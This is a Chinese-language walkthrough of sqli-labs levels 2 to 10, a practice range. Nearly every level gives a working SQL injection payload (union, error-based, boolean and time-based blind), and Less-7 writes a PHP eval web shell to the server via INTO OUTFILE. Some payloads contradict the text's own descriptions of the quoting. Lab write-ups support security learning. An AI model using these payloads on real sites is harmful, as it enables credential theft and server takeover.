sqli靶场通关流程2~10关

Less-2- Error based - Intiger based (基于错误的GET整型注入)

首先,我们先输入单引号试试,根据报错信息确定咱们输入的内容被原封不动的带入到数据库中

那我们可以直接像第一关一样,使用联合查询,输入?id=-1' union select 1,2,database() --+,得到数据库名

那我们就可以像第一关一样直接使用原来的POC爆破出用户名密码(?id=-1 union select 1,2,group_concat(username ,id , password) from users--+)注意这里没有了单引号了

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

这一关看了看标题,看来还是跟单引号有关,我们直接先加一个单引号看看,根据报错信息,发现是少了一个右括号),我们直接像第一关一样添加一个)即可

那我们就可以像第一关一样直接使用原来的POC爆破出用户名密码(?id=-1) union select 1,2,group_concat(username ,id , password) from users--+)注意这里单引号后面要加一个)

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

标题提示双引号注入,我们先输入双引号看看,发现跟第三关一样,我们可以直接在双引号后面加右括号

直接输入?id=-1’’) union select 1,2,group_concat(username ,id , password) from users--+

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

根据标题,我们先输入单引号看看

输入两个单引号看看,这两个页面虽然不一样,确定存在注入,但是我们毫无头绪

我们直接试试用截取注入的方法,使用报错函数updatexml,输入?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+ ,直接爆出了数据库名

以此类推,可以直接爆出用户名,输入?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

根据标题,我们先就可以猜到,只是需要把单引号改成双引号就可以了,我们输入?id=1’’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

老规矩,先输入单引号看看

输入两个单引号,出现提示使用outfile,意思是导入木马文件,从而获取shell权限

我们直接输入?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\shell.php'--+

直接获取shell权限,从而得到库

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

看标题,在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,直接输入?id=1' and left((select database()),1)='s'--+,爆破,得到数据库名,依次类推,一直爆破出用户名和密码即可

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

从标题来看,就可以知道要使用sleep函数,我们先判断库的长度,输入?id=1' and if(length(database())=1 , sleep(3), 1) --+,抓包,将位数设置为1

爆破,得到位数为8

输入?id=1' and if(length(database())=8 , sleep(3), 1) --+,判断得到数据库为security

爆表,输入

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+

依次类推爆破到用户名和密码,第一个username为dumb,密码为dumb

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

跟less9一样,只需要将单引号改为双引号即可,输入?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+ 直接爆破用户名的值即可

编写人:Kevin
2023.10.14